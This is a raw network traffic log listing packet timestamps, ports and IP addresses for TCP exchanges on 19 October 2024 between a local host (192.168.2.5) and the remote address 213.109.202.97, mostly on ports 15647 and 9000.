Oct 19, 2024 03:37:50.521768093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.524409056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.569751024 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.586087942 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.587063074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.632250071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.632584095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.648588896 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.668521881 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.710481882 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.711019993 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.731479883 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.772907972 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.780850887 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.826770067 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.852569103 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.853766918 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.858818054 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.915079117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.915580034 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.920500994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.976953030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.978101969 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:50.978178024 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:50.981764078 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.039410114 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.044532061 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.047194958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.100996971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.101635933 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.115617037 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.122282982 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.122353077 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.166798115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.191643953 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.196980953 CEST	9000	49894	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.237051964 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.241621971 CEST	49894	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.259975910 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.304132938 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.305596113 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.335556030 CEST	49894	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.335875034 CEST	49900	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.340696096 CEST	9000	49900	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.340709925 CEST	9000	49894	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.340790033 CEST	49894	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.340820074 CEST	49900	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.340915918 CEST	49900	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.345665932 CEST	9000	49900	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.350775957 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.368175030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.368242025 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.373191118 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.413525105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.433280945 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.454823971 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.459723949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.504162073 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.530610085 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.540380955 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.552530050 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.577698946 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.577847958 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.613598108 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.648380041 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.681159973 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.730789900 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.767561913 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.772160053 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.777385950 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.879965067 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.901731968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.906512976 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.949809074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:51.984900951 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:51.990019083 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.038762093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.055047035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.060345888 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.117265940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.122059107 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.133656025 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.179173946 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.179852009 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.183446884 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.226021051 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.226717949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.235456944 CEST	9000	49900	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.248701096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.253470898 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.279124975 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.288532972 CEST	49900	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.320383072 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.327863932 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.351418018 CEST	49900	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.351716042 CEST	49906	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.356509924 CEST	9000	49906	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.356581926 CEST	49906	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.356683969 CEST	49906	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.356731892 CEST	9000	49900	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.356798887 CEST	49900	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.361382008 CEST	9000	49906	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.382271051 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.383903027 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.423594952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.445321083 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.490789890 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.508011103 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.512773991 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.512809038 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.554142952 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.567822933 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.570270061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.575143099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.633871078 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.638900995 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.650598049 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.694787025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.695363998 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.698033094 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.741763115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.742777109 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.757941008 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.763053894 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.774435043 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.819802046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.820714951 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.992880106 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.993007898 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.993098021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.993313074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:52.993381023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:52.998303890 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.008750916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.024668932 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.069785118 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.070585966 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.103938103 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.132988930 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.186781883 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.198474884 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.203459024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.256500006 CEST	9000	49906	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.257313967 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.258268118 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.263186932 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.275693893 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.304160118 CEST	49906	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.319777966 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.320506096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.337371111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.366885900 CEST	49906	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.367261887 CEST	49913	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.372106075 CEST	9000	49906	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.372126102 CEST	9000	49913	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.372159958 CEST	49906	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.372217894 CEST	49913	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.372337103 CEST	49913	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.377118111 CEST	9000	49913	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.382276058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.384188890 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.401068926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.420013905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.420085907 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.445252895 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.494919062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.507728100 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.512577057 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.522815943 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.564519882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.564610958 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.570156097 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.618809938 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.632788897 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.637718916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.650718927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.694792986 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.695769072 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.710638046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.757407904 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.759895086 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.774542093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.819947004 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.820349932 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.836895943 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.853271961 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.853342056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.883642912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.918951035 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:53.945583105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:53.979873896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.008729935 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.055438042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.070458889 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.075335979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.086602926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.132313013 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.135251999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.150249004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.194780111 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.196963072 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.212179899 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.257297039 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.262624025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.271348000 CEST	9000	49913	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.271559000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.294473886 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.294548988 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.319799900 CEST	49913	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.328346014 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.356626034 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.400269985 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.416163921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.423835993 CEST	49913	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.427512884 CEST	49919	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.428951979 CEST	9000	49913	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.429013968 CEST	49913	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.432516098 CEST	9000	49919	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.432585955 CEST	49919	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.434716940 CEST	49919	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.438472033 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.439512014 CEST	9000	49919	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.490741968 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.513254881 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.518233061 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.529038906 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.569791079 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.595042944 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.647945881 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.772262096 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:54.804660082 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.804779053 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:54.804817915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.003994942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.004015923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.004127979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.004204988 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.004462004 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.008929014 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.023586035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.028443098 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.067616940 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.086112976 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.090982914 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.149729013 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.154517889 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.210985899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.215915918 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.272090912 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.273566961 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.278422117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.290339947 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.328650951 CEST	9000	49919	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.335429907 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.335988045 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.352549076 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.382301092 CEST	49919	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.398042917 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.399069071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.416083097 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.434545040 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.434688091 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.445406914 CEST	49919	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.445970058 CEST	49925	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.450619936 CEST	9000	49919	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.450671911 CEST	49919	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.450742006 CEST	9000	49925	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.450803041 CEST	49925	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.451165915 CEST	49925	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.455887079 CEST	9000	49925	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.461102962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.496834040 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.524887085 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.560858011 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.585891962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.630897999 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.648459911 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.653338909 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.665421009 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.710629940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.711110115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.727864981 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.773045063 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.773560047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.791515112 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.835473061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.835989952 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.850629091 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.872229099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.872565031 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.899519920 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.935751915 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:55.962622881 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:55.995018005 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.023356915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.070879936 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.070946932 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.075834036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.102385998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.117187023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.162714005 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.164030075 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.165812969 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.168859005 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.210436106 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.211952925 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.216753006 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.229784966 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.272933960 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.274202108 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.288620949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.310223103 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.310295105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.328552961 CEST	9000	49925	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.336050987 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.382472038 CEST	49925	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.382797956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.382872105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.383285046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.387636900 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.429194927 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.430412054 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.433759928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.438838959 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.446666956 CEST	49925	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.447324038 CEST	49932	9000	192.168.2.5	213.109.202.97
